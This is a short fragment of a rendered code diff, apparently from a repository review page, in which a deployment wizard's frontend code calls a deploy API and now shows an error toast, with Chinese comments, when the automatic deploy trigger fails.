// 列表/触发失败不打断向导,用户可到部署页手动触发
|
setDeploying(target.id)
|
||||||
|
await deploymentApi.deploy(target.id)
|
||||||
|
toast.info(t('deploy.deployTriggered', { name: target.name }))
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
// 自动触发失败不打断向导,但要让用户知道需要去部署页手动触发
|
||||||
|
toast.error(e instanceof Error ? e.message : t('deploy.autoTriggerFailed'))
|
||||||
} finally {
|
} finally {
|
||||||
setDeploying(null)
|
setDeploying(null)
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in new issue
Block a user